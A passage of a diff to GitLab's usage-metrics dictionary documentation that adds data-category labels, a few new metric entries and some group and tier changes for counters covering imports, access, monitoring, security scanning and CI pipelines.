+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16064,6 +18932,8 @@ Merge requests with added rules
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16076,6 +18946,8 @@ Count of merge requests with optional codeowner approval rules
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16088,6 +18960,8 @@ Number of merge requests that have overridden rules created at the project level
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16100,6 +18974,8 @@ Count of merge requests with required codeowner approval rules
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16112,6 +18988,8 @@ Count of users creating projects that require approval by code owners for code c
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16124,6 +19002,8 @@ Missing description
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -16136,6 +19016,8 @@ Total count of projects that do not allow overriding approvers on discrete merge
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16148,6 +19030,8 @@ Count of projects that have a matching Git repository, result of a Git push acti
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16160,6 +19044,8 @@ Count of projects using code owners with code owners section feature
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16172,6 +19058,8 @@ Count of total projects that do not disable overriding approvers per discrete me
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16184,6 +19072,8 @@ Count of users creating projects with repositories making use of at least one pr
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16196,6 +19086,8 @@ Count of users creating projects with remote mirrors.
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16208,6 +19100,8 @@ Count of distinct author_id from snippets
Group: `group::editor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16220,6 +19114,8 @@ Count of unique users who create suggestions in merge request comments
Group: `group::code review`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16232,6 +19128,8 @@ The total number of files which have been locked via the GitLab UI
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16244,6 +19142,8 @@ Number of paths/directories manually locked through the UI
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16256,6 +19156,8 @@ Number of unique users who have locked files or directories using LFS via the co
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16268,6 +19170,8 @@ Number of users who have manually locked paths/directories through the UI
Group: `group::source code`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16280,6 +19184,8 @@ Number of Git fetch events from Prometheus on the Geo secondary
Group: `group::geo`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16292,6 +19198,8 @@ Number of Git push events from Prometheus on the Geo secondary
Group: `group::geo`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16304,6 +19212,8 @@ Missing description
Group: ``
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16316,6 +19226,8 @@ Distinct count of users that triggered an import using the Group Migration tool
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16328,10 +19240,26 @@ Count of imports using GitLab Migration
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
+### `usage_activity_by_stage.manage.compliance_frameworks_with_pipeline`
+
+Count of compliance frameworks that have a pipeline configuration
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210622123800_compliance_frameworks_with_pipeline.yml)
+
+Group: `compliance`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage.manage.custom_compliance_frameworks`
Total count of all custom compliance framework labels
@@ -16340,6 +19268,8 @@ Total count of all custom compliance framework labels
Group: `compliance`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16352,6 +19282,8 @@ Missing description
Group: `group::manage`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -16364,6 +19296,8 @@ Count of groups imported using GitLab Migration
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -16376,6 +19310,8 @@ Count of group imports using Group Import/Export
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -16388,6 +19324,8 @@ Has the instance enabled Group SAML SSO `https://docs.gitlab.com/ee/user/group/s
Group: `group::manage`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`
@@ -16400,6 +19338,8 @@ Number of users who are group members.
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16412,6 +19352,8 @@ Distinct count of users that imported groups using Group Import
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16424,6 +19366,8 @@ Count of (attempted) imports from csv files
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -16436,6 +19380,8 @@ Count of projects imported from fogbugz
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -16448,6 +19394,8 @@ Count of projects imported from Jira
Group: `group::import`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -16460,6 +19408,8 @@ Count of projects imported from phabricator
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -16472,6 +19422,8 @@ Distinct count of users that imported issues into projects using CSV upload
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16484,6 +19436,8 @@ Distinct count of users that imported issues into projects using FogBugz
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16496,6 +19450,8 @@ Distinct count of users that imported issues into projects using Jira
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16508,6 +19464,8 @@ Distinct count of users that imported issues into projects using Phabricator
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16520,6 +19478,8 @@ Has the instance configured [LDAP Admin Sync](https://docs.gitlab.com/ee/adminis
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16532,6 +19492,8 @@ Has the instance configured [LDAP Group Sync](https://docs.gitlab.com/ee/adminis
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16544,6 +19506,8 @@ Number of users creating keys synced as part of LDAP
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16556,6 +19520,8 @@ Number of [LDAP servers configured for the instance](https://docs.gitlab.com/ee/
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16568,6 +19534,8 @@ Number of users that are linked to LDAP
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16580,6 +19548,8 @@ Number of unique user logins using an OmniAuth provider
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16592,6 +19562,8 @@ Count of projects imported from Bitbucket
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16604,6 +19576,8 @@ Count of projects imported from Bitbucket Server
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16616,6 +19590,8 @@ Count of projects imported by URL
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16628,6 +19604,8 @@ Count of projects imported from Gitea
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16640,6 +19618,8 @@ Count of projects imported from GitHub
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16652,6 +19632,8 @@ Count of projects imported from GitLab.com
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16664,6 +19646,8 @@ Count of projects imported using GitLab Migration
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16676,6 +19660,8 @@ Count of projects imported using Project Import/Export
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16688,6 +19674,8 @@ Count of projects imported using manifst file
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16700,6 +19688,8 @@ Count number of projects imported monthly
Group: `group::import`
+Data Category: `Optional`
+
Status: `implemented`
Tiers: `free`, `premium`, `ultimate`
@@ -16712,6 +19702,8 @@ Distinct count of users that imported projects from Bitbucket Cloud
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16724,6 +19716,8 @@ Distinct count of users that imported projects from Bitbucket Server
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16736,6 +19730,8 @@ Distinct count of users that imported projects using Import by URL
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16748,6 +19744,8 @@ Distinct count of users that imported projects from Gitea
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16760,6 +19758,8 @@ Distinct count of users that imported projects from GitHub
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16772,6 +19772,8 @@ Distinct count of users that imported projects from GitLab.com
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16784,6 +19786,8 @@ Distinct count of users that imported projects using Project Import/Export
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16796,6 +19800,8 @@ Distinct count of users that imported projects using Manifest file
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16808,6 +19814,8 @@ Total count of all projects imported with import_source NOT NULL
Group: `group::import`
+Data Category: `Optional`
+
Status: `deprecated`
Tiers: `free`
@@ -16820,6 +19828,8 @@ Number of projects labeled with a compliance framework label [see](https://gitla
Group: `group::manage`
+Data Category: `Optional`
+
Status: `data_available`
Tiers:
@@ -16832,6 +19842,8 @@ Distinct count of users that triggered any kind of import
Group: `group::import`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -16844,6 +19856,8 @@ Number of unique user logins using Google OAuth authentication
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16856,6 +19870,8 @@ Number of unique user logins using password authentication
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16868,6 +19884,8 @@ Number of unique user logins using two factor authentication
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16880,6 +19898,8 @@ Number of unique user logins using two factor via a U2F device
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16892,6 +19912,8 @@ Number of unique user logins using two factor via a WebAuthn device
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16904,6 +19926,8 @@ Number of users
Group: `group::access`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16916,6 +19940,8 @@ Number of custom value stream analytics stages.
Group: `group::optimize`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -16928,6 +19954,8 @@ Users creating clusters.
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16940,6 +19968,8 @@ Users creating clusters with Prometheus enabled.
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16952,6 +19982,8 @@ Active users with enabled operations dashboard
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`
@@ -16964,6 +19996,8 @@ Active users with projects on operations dashboard
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -16972,13 +20006,15 @@ Tiers: `free`, `premium`, `ultimate`
Projects where Incident SLA is enabled
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180522_projects_incident_sla_enabled.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216180522_projects_incident_sla_enabled.yml)
+
+Group: `group::monitor`
-Group: `group::health`
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage.monitor.projects_with_alert_incidents`
@@ -16986,11 +20022,13 @@ Count of unique projects with an incident from an alert
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180520_projects_with_alert_incidents.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.monitor.projects_with_enabled_alert_integrations_histogram`
@@ -17002,6 +20040,8 @@ Histogram (buckets 1 to 100) of projects with at least 1 enabled integration.
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17012,11 +20052,13 @@ Projects where error tracking is enabled
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180517_projects_with_error_tracking_enabled.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.monitor.projects_with_incidents`
@@ -17024,11 +20066,13 @@ Count of unique projects with an incident
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180518_projects_with_incidents.yml)
-Group: `group::health`
+Group: `group::monitor`
+
+Data Category: `Optional`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `usage_activity_by_stage.monitor.projects_with_tracing_enabled`
@@ -17038,6 +20082,8 @@ Projects with tracing enabled
Group: `group::monitor`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17050,6 +20096,8 @@ Projects with package registry enabled
Group: `group::package`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17062,6 +20110,8 @@ Count of users creating assignee lists on Boards
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -17074,6 +20124,8 @@ Missing description
Group: `group::plan`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -17086,6 +20138,8 @@ Count of users creating Issues
Group: `group::project management`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17098,6 +20152,8 @@ Count of users creating label lists on Boards
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17110,6 +20166,8 @@ Count of users creating milestone lists on Boards
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -17122,6 +20180,8 @@ Count of users creating Notes on Issues
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17134,6 +20194,8 @@ Count of users creating projects
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17146,6 +20208,8 @@ Missing description
Group: `group::plan`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -17158,6 +20222,8 @@ Missing description
Group: `group::plan`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -17170,6 +20236,8 @@ Missing description
Group: `group::plan`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -17182,6 +20250,8 @@ Missing description
Group: `group::plan`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -17194,6 +20264,8 @@ Missing description
Group: `group::plan`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -17206,6 +20278,8 @@ Count of users todos created
Group: `group::project management`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17218,6 +20292,8 @@ Unique users triggering deployments
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -17230,6 +20306,8 @@ Total failed deployments
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -17242,6 +20320,8 @@ Count creator_id from projects with repository mirroring enabled.
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -17254,6 +20334,8 @@ Unique users creating release tags
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -17266,6 +20348,8 @@ Total successful deployments
Group: `group::release`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`
@@ -17278,10 +20362,26 @@ Counts API fuzzing jobs
Group: `group::fuzz testing`
+Data Category: `Operational`
+
Status: `data_available`
Tiers:
+### `usage_activity_by_stage.secure.cluster_image_scanning_scans`
+
+Counts cluster image scanning jobs
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210618124854_cluster_image_scanning_scans.yml)
+
+Group: `group::container security`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage.secure.container_scanning_scans`
Counts container scanning jobs
@@ -17290,6 +20390,8 @@ Counts container scanning jobs
Group: `group::container security`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -17302,6 +20404,8 @@ Counts fuzzing jobs
Group: `group::fuzz testing`
+Data Category: `Operational`
+
Status: `data_available`
Tiers:
@@ -17312,11 +20416,13 @@ Counts dast jobs
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182122_dast_scans.yml)
-Group: `group::static analysis`
+Group: `group::dynamic analysis`
+
+Data Category: `Operational`
Status: `data_available`
-Tiers:
+Tiers: `ultimate`
### `usage_activity_by_stage.secure.dependency_scanning_scans`
@@ -17326,6 +20432,8 @@ Total number of users running Dependency Scanning Scans
Group: `group::composition analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -17338,21 +20446,25 @@ Counts sast jobs
Group: `group::static analysis`
+Data Category: `Operational`
+
Status: `data_available`
-Tiers:
+Tiers: `ultimate`
### `usage_activity_by_stage.secure.secret_detection_scans`
-Counts secret detection jobs
+counts secret detection jobs
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216182123_secret_detection_scans.yml)
Group: `group::static analysis`
+Data Category: `Operational`
+
Status: `data_available`
-Tiers:
+Tiers: `ultimate`
### `usage_activity_by_stage.secure.user_api_fuzzing_dnd_jobs`
@@ -17362,6 +20474,8 @@ Count of API Fuzzing `docker-in-docker` jobs by job name
Group: `group::fuzz testing`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -17374,10 +20488,26 @@ Count of API Fuzzing jobs by job name
Group: `group::fuzz testing`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
+### `usage_activity_by_stage.secure.user_api_fuzzing_scans`
+
+Number of users who have run a API Fuzzing scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607044126_user_api_fuzzing_scans.yml)
+
+Group: `category::fuzz testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage.secure.user_container_scanning_jobs`
Distinct count per user of Container Scanning jobs run
@@ -17386,6 +20516,22 @@ Distinct count per user of Container Scanning jobs run
Group: `group::container security`
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_container_scanning_scans`
+
+Number of users who have run a Container Scanning scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607043902_user_container_scanning_scans.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -17398,10 +20544,26 @@ Missing description
Group: ``
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
+### `usage_activity_by_stage.secure.user_coverage_fuzzing_scans`
+
+Number of users who have run a Coverage Fuzzing scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607044040_user_coverage_fuzzing_scans.yml)
+
+Group: `category::fuzz testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage.secure.user_dast_jobs`
Count of DAST jobs
@@ -17410,10 +20572,26 @@ Count of DAST jobs
Group: `group::dynamic analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
+### `usage_activity_by_stage.secure.user_dast_scans`
+
+Number of users who have run a DAST scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607043109_user_dast_scans.yml)
+
+Group: `group::dynamic analysis`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage.secure.user_dependency_scanning_jobs`
Total number of users running Dependency Scanning jobs
@@ -17422,6 +20600,22 @@ Total number of users running Dependency Scanning jobs
Group: `group::composition analysis`
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `usage_activity_by_stage.secure.user_dependency_scanning_scans`
+
+Number of users who have run a Dependency Scanning scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607043819_user_dependency_scanning_scans.yml)
+
+Group: `group::composition analysis`
+
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `ultimate`
@@ -17434,6 +20628,8 @@ Total number of users running License Scanning jobs
Group: `group::composition analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
@@ -17446,34 +20642,68 @@ Users who set personal preference to see Details on Group information page
Group: `group::threat insights`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `ultimate`
### `usage_activity_by_stage.secure.user_sast_jobs`
-Count of SAST jobs
+Count of SAST jobs per user
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182116_user_sast_jobs.yml)
Group: `group::static analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `usage_activity_by_stage.secure.user_sast_scans`
+
+Number of users who have run a SAST scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607043741_user_sast_scans.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage.secure.user_secret_detection_jobs`
-Count of Secret Detection Jobs
+Count of Secret Detection Jobs per user
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182118_user_secret_detection_jobs.yml)
Group: `group::static analysis`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `usage_activity_by_stage.secure.user_secret_detection_scans`
+
+Number of users who have run a Secret Detection scan
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210607043957_user_secret_detection_scans.yml)
+
+Group: `group::static analysis`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
### `usage_activity_by_stage.secure.user_unique_users_all_secure_scanners`
Missing description
@@ -17482,6 +20712,8 @@ Missing description
Group: `group::secure`
+Data Category: `Operational`
+
Status: `data_available`
Tiers: `free`
@@ -17494,6 +20726,8 @@ Unique count of builds in project
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17506,6 +20740,8 @@ Total pipelines in external repositories
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17518,6 +20754,8 @@ Total pipelines in GitLab repositories
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17530,6 +20768,8 @@ Total pipelines from an Auto DevOps template
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17542,6 +20782,8 @@ Total Pipelines from templates in repository
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17554,6 +20796,8 @@ Pipeline schedules in GitLab
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17566,6 +20810,8 @@ Distinct Users triggering Total pipelines
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17578,6 +20824,8 @@ Total configured Triggers in project
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17590,6 +20838,8 @@ Count of users creating managed clusters with Runner enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17602,6 +20852,8 @@ Projects with a GitHub service pipeline enabled
Group: `group::pipeline execution`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `premium`, `ultimate`
@@ -17614,6 +20866,8 @@ Total GitLab Managed clusters with Cert Manager enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17626,6 +20880,8 @@ Total GitLab Managed clusters with Helm enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17638,6 +20894,8 @@ Total GitLab Managed clusters with Ingress enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17650,6 +20908,8 @@ Total GitLab Managed clusters with Knative enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17662,6 +20922,8 @@ Total GitLab Managed disabled clusters
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17674,6 +20936,8 @@ Total GitLab Managed clusters currently enabled
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17686,6 +20950,8 @@ Number of Kubernetes clusters with clusters management project being set
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17698,6 +20964,8 @@ Total GitLab Managed clusters provisioned with GitLab on AWS EKS
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17710,6 +20978,8 @@ Total GitLab Managed clusters provisioned with GitLab on GCE GKE
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17722,6 +20992,8 @@ Total GitLab Managed clusters that are user provisioned
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17734,6 +21006,8 @@ Total GitLab Managed disabled clusters attached to groups
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17746,6 +21020,8 @@ Total GitLab Managed enabled clusters attached to groups
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17758,6 +21034,8 @@ Total GitLab Managed disabled clusters attached to the instance
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17770,6 +21048,8 @@ Total GitLab Managed enabled clusters attached to the instance
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -17782,6 +21062,8 @@ Total GitLab Managed disabled clusters attached to projects
Group: `group::configure`
+Data Category: `Optional`
+
Status: `data_available`
